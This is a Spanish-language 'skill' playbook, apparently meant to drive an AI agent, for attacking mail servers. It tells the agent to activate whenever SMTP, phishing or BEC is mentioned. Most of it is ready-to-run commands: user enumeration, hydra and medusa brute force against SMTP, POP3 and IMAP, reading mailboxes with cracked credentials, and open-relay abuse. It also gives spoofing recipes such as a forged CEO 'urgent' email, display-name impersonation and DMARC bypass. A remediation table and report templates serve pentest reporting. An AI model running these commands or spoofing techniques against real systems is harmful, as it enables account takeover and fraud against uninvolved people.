hackingyseguridad SKILL: email-pentest — Auditoría de Servidores de Correo, Fuerza Bruta y Email Spoofing
Descripción
Esta skill cubre la ejecución de pruebas de concepto (POC) sobre infraestructura de correo electrónico: reconocimiento de servicios de email (SMTP, POP3, IMAP), enumeración de usuarios, ataques de diccionario y fuerza bruta sobre autenticación, verificación de configuraciones DNS (SPF, DKIM, DMARC), detección de Open Relay, y pruebas de suplantación de identidad (email spoofing). Integra el repositorio hackingyseguridad/email con herramientas nativas de Kali Linux.
Uso exclusivo en entornos autorizados. Requiere permiso escrito del propietario del dominio y sistemas objetivo.
Activación (triggers)
Activar esta skill SIEMPRE que el usuario mencione cualquiera de los siguientes términos o contextos:
- SMTP, ESMTP, POP3, IMAP, servidor de correo, servidor de email, MTA, MDA
- Spoofing de email, suplantación de correo, email spoofing, email forgery, email falso
- SPF, DKIM, DMARC, registros DNS de email, MX record, Open Relay, relay abierto
- Phishing técnico, BEC (Business Email Compromise), SCAM de correo
- Fuerza bruta SMTP, brute force email, ataque de diccionario POP3 / IMAP
- Enumeración de usuarios SMTP, VRFY, EXPN, RCPT TO enumeration
- Display-name spoofing, From header manipulation, X-Mailer, Reply-To
- Blacklist IP de correo, lista negra SPAM, reputación IP SMTP
- Scripts del repo:
openrelay.sh,escaner.sh,dmark.sh,dns.sh,analizaremail.sh,envioconsola.sh,enviolocalhost*.sh,envioconsmtp*.py - El usuario proporciona un dominio/FQDN/IP y solicita prueba de autenticación o spoofing de correo
Prerequisitos del entorno
Instalación del repositorio
git clone https://github.com/hackingyseguridad/email.git /opt/email
cd /opt/email && chmod +x *.sh && bash instalar.sh
Herramientas requeridas (Kali Linux — preinstaladas o instalables)
| Herramienta | Uso principal |
|---|---|
nmap |
Detección de puertos y servicios de email |
hydra |
Fuerza bruta SMTP / POP3 / IMAP |
medusa |
Fuerza bruta alternativa multi-protocolo |
smtp-user-enum |
Enumeración de usuarios via VRFY / EXPN / RCPT |
swaks |
Swiss Army Knife SMTP — envío/prueba manual |
curl |
Pruebas HTTP y webmail |
telnet / netcat |
Conexión manual a puertos SMTP/POP3/IMAP |
dig / host / nslookup |
Consultas DNS (MX, TXT, SPF, DKIM, DMARC) |
mxtoolbox |
Verificación online de registros email |
postfix |
Servidor SMTP local para pruebas de spoofing |
python3 |
Scripts de envío con cabeceras modificadas |
Instalación de dependencias adicionales
apt install swaks smtp-user-enum postfix dovecot-imapd -y
pip3 install smtplib email --break-system-packages
bash /opt/email/instalarpostfix.sh # Configura Postfix en localhost
bash /opt/email/instalardovecot.sh # Configura Dovecot POP3/IMAP local
Flujo de trabajo estándar
1. Reconocimiento DNS → registros MX, TXT, SPF, DKIM, DMARC
2. Detección de servicios → nmap puertos 25, 587, 465, 110, 143, 993, 995
3. Enumeración de usuarios → VRFY, EXPN, RCPT TO
4. Verificar Open Relay → openrelay.sh / swaks / telnet
5. Fuerza bruta auth → hydra/medusa contra SMTP/POP3/IMAP
6. Prueba de spoofing → envío con FROM manipulado según nivel de protección
7. Análisis de cabeceras → analizaremail.sh / ver correo original
8. Documentar hallazgos → credenciales, relay abierto, spoofing exitoso
FASE 1 — Reconocimiento DNS de infraestructura de email
Registros MX (servidores de correo del dominio)
dig MX dominio.com +short
host -t MX dominio.com
nslookup -type=MX dominio.com
# Script del repo
bash /opt/email/dns.sh dominio.com
bash /opt/email/registrosdns.sh dominio.com
bash /opt/email/registrosauto.sh dominio.com # automatización completa de registros
Verificación SPF
# Consulta manual
dig TXT dominio.com +short | grep spf
# Interpretar resultados:
# "v=spf1 include:_spf.google.com ~all" → softfail (permite spoofing potencial)
# "v=spf1 ip4:1.2.3.4 -all" → hardfail (rechaza todo lo no listado)
# (sin registro SPF) → sin protección, spoofing factible
Verificación DKIM
# El selector DKIM varía por dominio (common: default, google, mail, dkim)
dig TXT selector._domainkey.dominio.com +short
dig TXT default._domainkey.dominio.com +short
dig TXT google._domainkey.dominio.com +short
Verificación DMARC
dig TXT _dmarc.dominio.com +short
# Interpretar política (p=):
# p=none → sólo monitoriza, NO rechaza → spoofing posible en muchos casos
# p=quarantine → manda a spam (cuarentena)
# p=reject → rechaza el email → protección máxima
# Script del repo
bash /opt/email/dmark.sh dominio.com
Escáner completo de email del dominio
bash /opt/email/escaner.sh dominio.com
# Ejecuta: MX lookup + SPF + DKIM + DMARC + blacklist check + banner SMTP
Verificación de listas negras (Blacklist / SPAM)
bash /opt/email/listanegra.sh <IP_servidor_SMTP>
# Comprueba contra: Spamhaus, Barracuda, SORBS, MXToolBox, etc.
# Online complementario:
# https://check.spamhaus.org/
# https://mxtoolbox.com/blacklists.aspx
FASE 2 — Detección y enumeración de servicios de email
Escaneo de puertos de email
nmap -sV -p 25,110,143,465,587,993,995,2525 --open -T4 <IP_o_FQDN> \
-oN /tmp/email_puertos.txt
# Puertos de referencia:
# 25 → SMTP (envío entre servidores)
# 587 → SMTP submission (autenticación usuario → servidor)
# 465 → SMTPS (SMTP sobre SSL/TLS)
# 110 → POP3
# 995 → POP3S (POP3 sobre SSL/TLS)
# 143 → IMAP
# 993 → IMAPS (IMAP sobre SSL/TLS)
Banner grabbing y comandos SMTP manuales
# Telnet manual
telnet <IP> 25
# Comandos SMTP para explorar:
EHLO test.com # lista capacidades del servidor
VRFY usuario # verifica si usuario existe (si habilitado)
EXPN lista # expande lista de distribución (si habilitado)
HELP # lista comandos disponibles
QUIT
# Netcat
nc <IP> 25
nc -v <IP> 587
# SWAKS — test completo de conectividad SMTP
swaks --to test@dominio.com --server <IP>
swaks --to test@dominio.com --server <IP> --port 587 --tls
Enumeración de usuarios SMTP
# smtp-user-enum — método VRFY
smtp-user-enum -M VRFY -U /opt/diccionarios/usuarios.txt -t <IP>
# smtp-user-enum — método RCPT (más sigiloso)
smtp-user-enum -M RCPT -U /opt/diccionarios/usuarios.txt \
-t <IP> -D dominio.com
# smtp-user-enum — método EXPN
smtp-user-enum -M EXPN -U /opt/diccionarios/usuarios.txt -t <IP>
# Nmap NSE
nmap --script smtp-enum-users --script-args \
smtp-enum-users.methods=VRFY,RCPT,EXPN -p 25 <IP>
Enumeración de usuarios POP3
# Script del repo
bash /opt/email/enum4pop3.sh <IP>
bash /opt/email/pruebapop3.sh <IP>
bash /opt/email/prueba_pop3.sh <IP>
FASE 3 — Fuerza bruta y ataque de diccionario
SMTP — Autenticación
# Hydra contra SMTP con autenticación
hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
smtp://<IP>:587 -t 4 -V -S -o /tmp/brute_smtp.txt
# Hydra contra SMTPS (SSL)
hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
-S smtp://<IP>:465 -t 4 -V
# Medusa
medusa -h <IP> -U /opt/diccionarios/usuarios.txt \
-P /opt/diccionarios/passwords.txt -M smtp -t 4 -v 6
POP3 — Autenticación
# Hydra
hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
pop3://<IP> -t 4 -V -o /tmp/brute_pop3.txt
# POP3S
hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
-S pop3://<IP>:995 -t 4 -V
# Medusa
medusa -h <IP> -U /opt/diccionarios/usuarios.txt \
-P /opt/diccionarios/passwords.txt -M pop3 -t 4
IMAP — Autenticación
# Hydra
hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
imap://<IP> -t 4 -V -o /tmp/brute_imap.txt
# IMAPS
hydra -L /opt/diccionarios/usuarios.txt -P /opt/diccionarios/passwords.txt \
-S imap://<IP>:993 -t 4 -V
# Medusa
medusa -h <IP> -U /opt/diccionarios/usuarios.txt \
-P /opt/diccionarios/passwords.txt -M imap -t 4
Verificación manual de credenciales encontradas
# POP3 manual con telnet
telnet <IP> 110
USER <usuario_encontrado>
PASS <password_encontrado>
LIST # lista mensajes
RETR 1 # descarga primer mensaje
QUIT
# IMAP manual
telnet <IP> 143
a LOGIN <usuario> <password>
a LIST "" "*"
a SELECT INBOX
a FETCH 1 BODY[]
a LOGOUT
FASE 4 — Detección y explotación de Open Relay
Un servidor SMTP Open Relay permite que cualquier origen externo envíe correo hacia cualquier destino sin autenticación — vulnerabilidad crítica explotable para spam y spoofing.
Verificación de Open Relay
# Script del repo
bash /opt/email/openrelay.sh <IP>
# SWAKS — prueba de relay
swaks --to victima@dominio-externo.com \
--from spoofed@otro-dominio.com \
--server <IP> --port 25
# Telnet manual
telnet <IP> 25
EHLO test.com
MAIL FROM:<atacante@externo.com>
RCPT TO:<victima@otro-dominio.com>
DATA
Subject: Test Open Relay
Esto es una prueba de open relay.
.
QUIT
# Si responde "250 OK" al RCPT TO de dominio externo → Open Relay confirmado
# Nmap NSE
nmap --script smtp-open-relay -p 25 <IP>
FASE 5 — Email Spoofing: Suplantación de identidad
Árbol de decisión para spoofing (según nivel de protección del dominio destino)
¿El dominio origen tiene SPF?
├── NO → Técnica 1: Manipulación directa del campo FROM
└── SÍ → ¿Qué política?
├── ~all (softfail) → Técnica 1/2 puede funcionar en destinos laxos
└── -all (hardfail) → Verificar DMARC
├── p=none → Técnica 2/8 posible
├── p=quarantine → Técnica 4/7/10
└── p=reject → Técnica 4 (display-name) o 7 (typosquatting)
Técnica 1 — Manipulación directa del campo FROM (SMTP sin auth)
Condición: Servidor SMTP objetivo no verifica remitente / dominio sin SPF o con softfail
# Script del repo — envío desde consola básico
bash /opt/email/envioconsola.sh
# SWAKS con FROM suplantado
swaks --to victima@destino.com \
--from ceo@empresa-victima.com \
--header "Subject: Urgente - Acción requerida" \
--server <IP_smtp_abierto> --port 25
# Python3 — envioconsmtp.py (del repo)
python3 /opt/email/envioconsmtp.py
# Editar variables: FROM, TO, SUBJECT, BODY, SMTP_SERVER
Técnica 2 — Modificación de cabeceras X-Mailer y Reply-To
Condición: Servidor permite cabeceras personalizadas; destino no filtra estrictamente
# Script del repo con cabeceras extendidas
bash /opt/email/enviolocalhost8.sh
# Python3 con cabeceras manipuladas
python3 /opt/email/envioconsmtp2.py
python3 /opt/email/enviocongmail3.py # via Gmail SMTP + cabeceras modificadas
# Cabeceras clave a manipular:
# From: "Nombre Legítimo" <atacante@dominio.com>
# Reply-To: victima@empresa.com
# Return-Path: bounce@controlado.com
# X-Mailer: Microsoft Outlook 16.0
Técnica 3 — Servidor SMTP propio en localhost (Postfix)
Condición: Enviar con control total sobre SMTP y DNS propios
# Instalar y configurar Postfix local
bash /opt/email/instalarpostfix.sh
# Configurar main.cf para localhost sin restricciones
cp /opt/email/postfix_conf_localhost.txt /etc/postfix/main.cf
systemctl restart postfix
# Enviar con Python3 desde localhost
python3 /opt/email/enviolocalhost.py
python3 /opt/email/enviolocalhost2.py
# Scripts Bash desde localhost
bash /opt/email/enviolocalhost3.sh
bash /opt/email/enviolocalhost4.sh
bash /opt/email/enviolocalhost5.sh
bash /opt/email/enviolocalhost6.sh
bash /opt/email/enviolocalhost7.sh
bash /opt/email/enviolocalhost7b.sh
bash /opt/email/enviolocalhost9.sh
bash /opt/email/enviolocalhost10.sh
bash /opt/email/enviolocalhostdnark2.py # con DMARC p=none bypass
bash /opt/email/enviolocalhostauto.sh # envío automatizado
Técnica 4 — Display-Name Spoofing (destinos con filtros máximos)
Condición: Gmail, Outlook, Protonmail — verificaciones completas SPF+DKIM+DMARC activas. El SMTP autentica con cuenta real pero el "display-name" muestra nombre suplantado.
# Via Gmail SMTP con cuenta real pero nombre suplantado
bash /opt/email/enviocongmail.sh
bash /opt/email/enviocongmail1.sh
python3 /opt/email/enviocongmail.py
python3 /opt/email/enviocongmail1.py
python3 /opt/email/enviocongmail2.py
# Ejemplo de cabecera de spoofing por display-name:
# From: "CEO Empresa Víctima <ceo@empresa-real.com>" <atacante@gmail.com>
# El cliente de correo destino muestra: CEO Empresa Víctima <ceo@empresa-real.com>
# pero la dirección real es atacante@gmail.com
Técnica 5 — SMTP con DMARC bypass via DNS propio
Condición: Control sobre servidor DNS; dominio atacante con DMARC p=none
# Configurar DNS falso para el dominio atacante
python3 /opt/email/fakedns.py
python3 /opt/email/fakedns2.py
# Generar certificados TLS para el servidor SMTP
bash /opt/email/generacert.sh
# Configurar DKIM propio
bash /opt/email/config_dkin_dns.sh dominio-atacante.com
# Envío con DMARC local configurado
python3 /opt/email/enviolocalcondmark.py
python3 /opt/email/enviolocalhostdnark2.py
Técnica 6 — Via Amazon SES u otros proveedores SMTP externos
Condición: Acceso a cuenta de proveedor SMTP legítimo con IP de buena reputación
# Via Amazon SES
bash /opt/email/envioconamazon.sh
# Requiere: AWS_ACCESS_KEY, AWS_SECRET_KEY, dominio verificado en SES
# Providers SMTP gratuitos para pruebas (puertos 587):
# smtp.mail.yahoo.com:587
# smtp.live.com:587
# smtp.gmail.com:587
# smtp.office365.com:587
FASE 6 — Análisis de cabeceras de email recibido
Para verificar si un spoofing fue exitoso o analizar emails sospechosos recibidos durante el pentest:
# Script de análisis del repo
bash /opt/email/analizaremail.sh email_recibido.eml
# Campos clave a inspeccionar en cabeceras:
# Received: from [IP real del remitente]
# Authentication-Results: spf=pass/fail; dkim=pass/fail; dmarc=pass/fail
# X-Spam-Status: Yes/No
# Return-Path: (dirección real de rebote)
# Message-ID: (identificador único del mensaje)
Ver correo original en Gmail (para evidencia)
Gmail → Menú ⋮ → "Mostrar original" (Ver correo original)
Referencia: https://support.google.com/mail/answer/29436?hl=es
Dominios temporales para pruebas de recepción
https://temp-mail.org/es/
Tabla resumen — Técnicas de spoofing vs nivel de protección
| Técnica | SPF | DKIM | DMARC | Probabilidad éxito |
|---|---|---|---|---|
| Manipulación FROM directo | ❌ sin SPF | ❌ | ❌ p=none | Alta |
| SMTP localhost + FROM falso | softfail | ❌ | p=none | Media-Alta |
| Open Relay de tercero | softfail | ❌ | p=none | Media |
| Display-name spoofing | ✅ | ✅ | ✅ p=reject | Alta (engaño visual) |
| DNS propio + DKIM propio | ✅ propio | ✅ propio | p=none | Media |
| Typosquatting de dominio | ✅ propio | ✅ propio | ✅ propio | Alta |
| Credencial comprometida | N/A | N/A | N/A | Muy Alta |
Documentación de evidencias
Captura de hallazgos
# Log de sesión completa
script -a /tmp/email_pentest_$(date +%Y%m%d_%H%M%S).log
# Capturar resultado de fuerza bruta
hydra ... -o /tmp/brute_email_$(date +%Y%m%d)_<SERVICIO>_<IP>.txt
# Guardar cabeceras de email de prueba recibido
# Gmail: Mostrar original → Descargar mensaje
Campos de hallazgo para informe
Hallazgo tipo: Credencial comprometida por diccionario
Servicio afectado : SMTP / POP3 / IMAP
Puerto : 587 / 110 / 143 / ...
IP / FQDN : x.x.x.x / mail.dominio.com
Usuario válido : usuario@dominio.com
Contraseña : password123
Herramienta usada : Hydra
Comando ejecutado : hydra -L usuarios.txt -P passwords.txt smtp://x.x.x.x:587
Timestamp : YYYY-MM-DD HH:MM:SS
CVSS v3.1 : 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE : CWE-307 — Improper Restriction of Excessive Authentication Attempts
Hallazgo tipo: Open Relay
Servicio afectado : SMTP Open Relay
Puerto : 25
IP / FQDN : x.x.x.x / mail.dominio.com
Descripción : El servidor acepta correo de orígenes externos sin autenticación
Evidencia : Respuesta "250 OK" a RCPT TO dominio externo no autorizado
Comando ejecutado : swaks --to externo@otro.com --from falso@cualquiera.com --server x.x.x.x
CVSS v3.1 : 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CWE : CWE-1286 — Improper Validation of Syntactic Correctness of Input
Hallazgo tipo: Email Spoofing exitoso
Dominio afectado : dominio.com
Vector : SPF ausente / DMARC p=none / Open Relay
Técnica usada : Manipulación campo FROM / Display-name / SMTP propio
Evidencia : Captura de cabeceras del correo recibido (Authentication-Results: spf=fail)
Script usado : enviolocalhost7.sh / envioconsmtp.py
CVSS v3.1 : 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
CWE : CWE-290 — Authentication Bypass by Spoofing
Matriz de riesgo DNS vs spoofing
| Configuración DNS dominio origen | Riesgo spoofing | Acción recomendada |
|---|---|---|
| Sin SPF + Sin DMARC | CRÍTICO | Implementar SPF -all + DMARC p=reject |
| SPF ~all + DMARC p=none | ALTO | Cambiar SPF a -all + DMARC p=reject |
| SPF -all + DMARC p=none | MEDIO | Subir DMARC a p=quarantine/reject |
| SPF -all + DMARC p=quarantine | BAJO-MEDIO | Subir DMARC a p=reject |
| SPF -all + DKIM + DMARC p=reject | BAJO | Mantener y monitorizar reportes DMARC |
Remediación recomendada (para informe)
| Control | Implementación |
|---|---|
| SPF estricto | v=spf1 include:proveedor.com -all (hardfail) |
| DKIM | Firma criptográfica en DNS + habilitado en MTA |
| DMARC p=reject | v=DMARC1; p=reject; rua=mailto:dmarc@dominio.com |
| Deshabilitar VRFY/EXPN | disable_vrfy_command = yes en Postfix |
| Evitar Open Relay | Configurar smtpd_relay_restrictions en Postfix |
| Bloqueo por intentos fallidos | fail2ban sobre logs de autenticación SMTP |
| TLS obligatorio | STARTTLS / SMTPS en todos los servicios |
| MFA en webmail | Segundo factor para acceso a cuentas |
| Monitorización DMARC | Revisar reportes rua periódicamente |
| Listas negras | Verificar reputación IP en Spamhaus, Barracuda |
Referencias
- Repositorio principal: https://github.com/hackingyseguridad/email
- Diccionarios: https://github.com/hackingyseguridad/diccionarios
- Referencia técnica: http://www.hackingyseguridad.com
- Paper técnico del repo:
/opt/email/paper.pdf - Presentación Email Spoofing:
/opt/email/Email-SCAM-Spoofing-y-Phishing.ppt - Trazado de cabeceras Gmail: https://support.google.com/mail/answer/29436?hl=es
- Blacklist check: https://check.spamhaus.org / https://mxtoolbox.com/blacklists.aspx
- Email temporal para pruebas: https://temp-mail.org/es/
- RFC 5321 (SMTP), RFC 7208 (SPF), RFC 6376 (DKIM), RFC 7489 (DMARC)
- CWE-290: Authentication Bypass by Spoofing
- CWE-307: Improper Restriction of Excessive Authentication Attempts
- OWASP Testing Guide — OTG-AUTHN-003, OTG-CONFIG-006